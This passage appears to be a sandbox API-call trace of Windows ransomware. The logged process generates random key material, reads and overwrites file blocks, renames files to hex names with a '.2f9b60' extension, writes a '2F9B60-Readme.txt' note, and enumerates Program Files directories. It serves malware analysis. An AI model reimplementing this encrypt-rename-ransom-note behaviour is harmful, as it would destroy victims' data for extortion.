0x202aae60 [0118.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae00 [0118.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa740 [0118.602] NtQuerySystemTime (in: CurrentTime=0x3e3af6c0 | out: CurrentTime=0x3e3af6c0*=132462177240274000) returned 0x0 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x52016a23 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x7f9ab620 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x479834db [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x23b03c0e [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x6ab9d0c [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x198fb50 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x1850654c [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x14667d7 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x37e0637 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x6e6500b7 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0xe3c54bb [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x4377c820 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x54e2133d [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x71f3172 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x2c5cbbbb [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x633e5423 [0118.602] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x5b053f3a [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x3b65d5b0 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x7dbd6225 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x6f3a7154 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x626aeaef [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x759859f8 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x297988cc [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x2f5a62c1 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x3edfd800 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x33c36c86 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x71236cd7 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x89b753c [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x297b9205 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x17e72545 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x30d5c536 [0118.603] RtlRandomEx (in: Seed=0x3e3af6b0 | out: Seed=0x3e3af6b0) returned 0x380b1920 [0118.611] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aab90 [0118.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae30 [0118.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa740) returned 1 [0118.612] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae60) returned 1 [0118.612] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc4990 [0118.612] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.612] ReadFile (in: hFile=0xe34, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e3af720, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3e3af720*=0x3c00, lpOverlapped=0x0) returned 1 [0118.630] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0118.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae60 [0118.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aae60) returned 1 [0118.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fcc1b0 [0118.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae60 [0118.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa770 [0118.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa770) returned 1 [0118.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0118.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.631] WriteFile (in: hFile=0xe34, lpBuffer=0x41fcc1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e3af720, lpOverlapped=0x0 | out: lpBuffer=0x41fcc1b0*, lpNumberOfBytesWritten=0x3e3af720*=0x3c00, lpOverlapped=0x0) returned 1 [0128.771] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fcc1b0) returned 1 [0128.771] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.771] ReadFile (in: hFile=0xe34, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e3af720, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3e3af720*=0x3c00, lpOverlapped=0x0) returned 1 [0128.772] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c4e0 [0128.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867d40 [0128.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8970 [0128.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8970) returned 1 [0128.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fcc1b0 [0128.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8970 [0128.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d20 [0128.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d20) returned 1 [0128.773] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867d40) returned 1 [0128.774] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c4e0) returned 1 [0128.774] WriteFile (hFile=0xe34, lpBuffer=0x41fcc1b0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e3af720, lpOverlapped=0x0) [0171.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fcc1b0) returned 1 [0171.070] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.070] ReadFile (in: hFile=0xe34, lpBuffer=0x41fc4990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3e3af720, lpOverlapped=0x0 | out: lpBuffer=0x41fc4990*, lpNumberOfBytesRead=0x3e3af720*=0x3c00, lpOverlapped=0x0) returned 1 [0171.228] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x3a1df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97990 [0171.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79da70 [0171.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d340 [0171.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d340) returned 1 [0171.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ba2d00 [0171.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d340 [0171.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1d370 [0171.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1d370) returned 1 [0171.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79da70) returned 1 [0171.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97990) returned 1 [0171.231] WriteFile (in: hFile=0xe34, lpBuffer=0x41ba2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3e3af720, lpOverlapped=0x0 | out: lpBuffer=0x41ba2d00*, lpNumberOfBytesWritten=0x3e3af720*=0x3c00, lpOverlapped=0x0) returned 1 [0194.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ba2d00) returned 1 [0194.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf130 [0194.592] SetFilePointerEx (in: hFile=0xe34, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0194.592] WriteFile (in: hFile=0xe34, lpBuffer=0x19eba0*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x3e3af7d0, lpOverlapped=0x0 | out: lpBuffer=0x19eba0*, lpNumberOfBytesWritten=0x3e3af7d0*=0x16c, lpOverlapped=0x0) returned 1 [0201.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bac0 [0201.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061cb0 [0201.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260260 [0201.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260260) returned 1 [0201.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5be30 [0201.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260260 [0201.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260200 [0201.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260200) returned 1 [0201.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061cb0) returned 1 [0201.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bac0) returned 1 [0201.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x75) returned 0x42061cb0 [0201.967] sprintf (in: _Dest=0x42061cb0, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.967] sprintf (in: _Dest=0x42061cb2, _Format="%c%c" | out: _Dest="d0") returned 2 [0201.967] sprintf (in: _Dest=0x42061cb4, _Format="%c%c" | out: _Dest="69") returned 2 [0201.967] sprintf (in: _Dest=0x42061cb6, _Format="%c%c" | out: _Dest="2b") returned 2 [0201.967] sprintf (in: _Dest=0x42061cb8, _Format="%c%c" | out: _Dest="a4") returned 2 [0201.967] sprintf (in: _Dest=0x42061cba, _Format="%c%c" | out: _Dest="0c") returned 2 [0201.967] sprintf (in: _Dest=0x42061cbc, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.967] sprintf (in: _Dest=0x42061cbe, _Format="%c%c" | out: _Dest="77") returned 2 [0201.967] sprintf (in: _Dest=0x42061cc0, _Format="%c%c" | out: _Dest="a8") returned 2 [0201.967] sprintf (in: _Dest=0x42061cc2, _Format="%c%c" | out: _Dest="8e") returned 2 [0201.967] sprintf (in: _Dest=0x42061cc4, _Format="%c%c" | out: _Dest="70") returned 2 [0201.967] sprintf (in: _Dest=0x42061cc6, _Format="%c%c" | out: _Dest="a1") returned 2 [0201.967] sprintf (in: _Dest=0x42061cc8, _Format="%c%c" | out: _Dest="42") returned 2 [0201.968] sprintf (in: _Dest=0x42061cca, _Format="%c%c" | out: _Dest="92") returned 2 [0201.968] sprintf (in: _Dest=0x42061ccc, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.968] sprintf (in: _Dest=0x42061cce, _Format="%c%c" | out: _Dest="59") returned 2 [0201.968] sprintf (in: _Dest=0x42061cd0, _Format="%c%c" | out: _Dest="b9") returned 2 [0201.968] sprintf (in: _Dest=0x42061cd2, _Format="%c%c" | out: _Dest="f7") returned 2 [0201.968] sprintf (in: _Dest=0x42061cd4, _Format="%c%c" | out: _Dest="b4") returned 2 [0201.968] sprintf (in: _Dest=0x42061cd6, _Format="%c%c" | out: _Dest="e2") returned 2 [0201.968] sprintf (in: _Dest=0x42061cd8, _Format="%c%c" | out: _Dest="52") returned 2 [0201.968] sprintf (in: _Dest=0x42061cda, _Format="%c%c" | out: _Dest="b9") returned 2 [0201.968] sprintf (in: _Dest=0x42061cdc, _Format="%c%c" | out: _Dest="17") returned 2 [0201.968] sprintf (in: _Dest=0x42061cde, _Format="%c%c" | out: _Dest="87") returned 2 [0201.968] sprintf (in: _Dest=0x42061ce0, _Format="%c%c" | out: _Dest="13") returned 2 [0201.968] sprintf (in: _Dest=0x42061ce2, _Format="%c%c" | out: _Dest="9f") returned 2 [0201.968] sprintf (in: _Dest=0x42061ce4, _Format="%c%c" | out: _Dest="68") returned 2 [0201.968] sprintf (in: _Dest=0x42061ce6, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.968] sprintf (in: _Dest=0x42061ce8, _Format="%c%c" | out: _Dest="96") returned 2 [0201.968] sprintf (in: _Dest=0x42061cea, _Format="%c%c" | out: _Dest="96") returned 2 [0201.968] sprintf (in: _Dest=0x42061cec, _Format="%c%c" | out: _Dest="84") returned 2 [0201.968] sprintf (in: _Dest=0x42061cee, _Format="%c%c" | out: _Dest="b6") returned 2 [0201.968] sprintf (in: _Dest=0x42061cf0, _Format="%c%c" | out: _Dest="94") returned 2 [0201.968] sprintf (in: _Dest=0x42061cf2, _Format="%c%c" | out: _Dest="67") returned 2 [0201.968] sprintf (in: _Dest=0x42061cf4, _Format="%c%c" | out: _Dest="15") returned 2 [0201.968] sprintf (in: _Dest=0x42061cf6, _Format="%c%c" | out: _Dest="80") returned 2 [0201.968] sprintf (in: _Dest=0x42061cf8, _Format="%c%c" | out: _Dest="b3") returned 2 [0201.968] sprintf (in: _Dest=0x42061cfa, _Format="%c%c" | out: _Dest="aa") returned 2 [0201.969] sprintf (in: _Dest=0x42061cfc, _Format="%c%c" | out: _Dest="06") returned 2 [0201.969] sprintf (in: _Dest=0x42061cfe, _Format="%c%c" | out: _Dest="6c") returned 2 [0201.969] sprintf (in: _Dest=0x42061d00, _Format="%c%c" | out: _Dest="e2") returned 2 [0201.969] sprintf (in: _Dest=0x42061d02, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.969] sprintf (in: _Dest=0x42061d04, _Format="%c%c" | out: _Dest="1c") returned 2 [0201.969] sprintf (in: _Dest=0x42061d06, _Format="%c%c" | out: _Dest="d9") returned 2 [0201.969] sprintf (in: _Dest=0x42061d08, _Format="%c%c" | out: _Dest="7e") returned 2 [0201.969] sprintf (in: _Dest=0x42061d0a, _Format="%c%c" | out: _Dest="2b") returned 2 [0201.969] sprintf (in: _Dest=0x42061d0c, _Format="%c%c" | out: _Dest="81") returned 2 [0201.969] sprintf (in: _Dest=0x42061d0e, _Format="%c%c" | out: _Dest="5c") returned 2 [0201.969] sprintf (in: _Dest=0x42061d10, _Format="%c%c" | out: _Dest="e4") returned 2 [0201.969] sprintf (in: _Dest=0x42061d12, _Format="%c%c" | out: _Dest="a1") returned 2 [0201.969] sprintf (in: _Dest=0x42061d14, _Format="%c%c" | out: _Dest="1f") returned 2 [0201.969] sprintf (in: _Dest=0x42061d16, _Format="%c%c" | out: _Dest="2a") returned 2 [0201.969] sprintf (in: _Dest=0x42061d18, _Format="%c%c" | out: _Dest="f2") returned 2 [0201.969] sprintf (in: _Dest=0x42061d1a, _Format="%c%c" | out: _Dest="f4") returned 2 [0201.969] sprintf (in: _Dest=0x42061d1c, _Format="%c%c" | out: _Dest="65") returned 2 [0201.969] sprintf (in: _Dest=0x42061d1e, _Format="%c%c" | out: _Dest="cb") returned 2 [0201.969] sprintf (in: _Dest=0x42061d20, _Format="%c%c" | out: _Dest="c1") returned 2 [0201.969] sprintf (in: _Dest=0x42061d22, _Format="%c%c" | out: _Dest="60") returned 2 [0201.969] RtlInitAnsiString (in: DestinationString=0x3e3af848, SourceString="2ad0692ba40ced77a88e70a14292cf59b9f7b4e252b91787139f68f2969684b694671580b3aa066ce2ed1cd97e2b815ce4a11f2af2f465cbc160" | out: DestinationString="2ad0692ba40ced77a88e70a14292cf59b9f7b4e252b91787139f68f2969684b694671580b3aa066ce2ed1cd97e2b815ce4a11f2af2f465cbc160") [0201.969] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e3af818, SourceString="2ad0692ba40ced77a88e70a14292cf59b9f7b4e252b91787139f68f2969684b694671580b3aa066ce2ed1cd97e2b815ce4a11f2af2f465cbc160", AllocateDestinationString=1 | out: DestinationString="2ad0692ba40ced77a88e70a14292cf59b9f7b4e252b91787139f68f2969684b694671580b3aa066ce2ed1cd97e2b815ce4a11f2af2f465cbc160") returned 0x0 [0201.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78ea80 [0201.970] wcscat (in: _Dest=0x4314c460, _Source="2ad0692ba40ced77a88e70a14292c" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2ad0692ba40ced77a88e70a14292c") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2ad0692ba40ced77a88e70a14292c" [0201.970] wcscat (in: _Dest=0x4314c460, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2ad0692ba40ced77a88e70a14292c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2ad0692ba40ced77a88e70a14292c.2f9b60" [0201.970] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2ad0692ba40ced77a88e70a14292c.2f9b60", NtPathName=0x3e3af7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2ad0692ba40ced77a88e70a14292c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd4) returned 0x1ced0f20 [0207.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0f20) returned 1 [0207.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320ef50) returned 1 [0207.112] NtQueryInformationFile (in: FileHandle=0xe34, IoStatusBlock=0x3e3af858, FileInformation=0x3e3af868, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3e3af858, FileInformation=0x3e3af868) returned 0x0 [0207.112] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x3e3af858, FileInformation=0x3e3af868, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.407] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314c460) returned 1 [0209.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78ea80) returned 1 [0209.409] FlushFileBuffers (hFile=0xe34) returned 1 [0209.411] CloseHandle (hObject=0xe34) returned 1 [0216.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x4318af40 [0216.255] wcscpy (in: _Dest=0x4318af40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0216.255] wcscat (in: _Dest=0x4318af40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2F9B60-Readme.txt" [0216.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\2f9b60-readme.txt")) returned 0xffffffff [0216.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x329c [0219.902] WriteFile (in: hFile=0x329c, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3e3af710, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3e3af710*=0xba9, lpOverlapped=0x0) returned 1 [0222.798] CloseHandle (hObject=0x329c) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4318af40) returned 1 [0224.765] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac420) returned 1 Thread: id = 1375 os_tid = 0xed0 [0118.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif")) returned 0x20 [0118.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif", dwFileAttributes=0x20) returned 1 [0118.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\maple.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1604 [0118.634] GetFileSizeEx (in: hFile=0x1604, lpFileSize=0x2703fe40 | out: lpFileSize=0x2703fe40*=0) returned 1 [0118.634] FlushFileBuffers (hFile=0x1604) returned 1 [0118.636] CloseHandle (hObject=0x1604) returned 1 [0118.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\Maple.gif", dwFileAttributes=0x20) returned 1 [0118.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adde0) returned 1 Thread: id = 1376 os_tid = 0x10b4 [0118.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202ae260 [0118.643] wcscpy (in: _Dest=0x202ae260, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0118.643] wcscat (in: _Dest=0x202ae260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\" [0118.643] wcscat (in: _Dest=0x202ae260, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*" [0118.643] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f650 [0118.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x19b7f0 [0118.644] wcscmp (_String1=".", _String2=".") returned 0 [0118.644] FindNextFileW (in: hFindFile=0x19b7f0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.644] wcscmp (_String1="..", _String2=".") returned 1 [0118.644] wcscmp (_String1="..", _String2="..") returned 0 [0118.644] FindNextFileW (in: hFindFile=0x19b7f0, lpFindFileData=0x2027f650 | out: lpFindFileData=0x2027f650*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0118.644] wcscmp (_String1="License Agreements", _String2=".") returned 1 [0118.644] wcscmp (_String1="License Agreements", _String2="..") returned 1 [0118.644] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278e30 [0118.645] wcscpy (in: _Dest=0x20278e30, _Source="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" [0118.645] wcscat (in: _Dest=0x20278e30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\" [0118.645] wcscat (in: _Dest=0x20278e30, _Source="License Agreements" | out: _Dest="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" [0127.008] CreateThread (in: lpThreadAttributes=0x0, 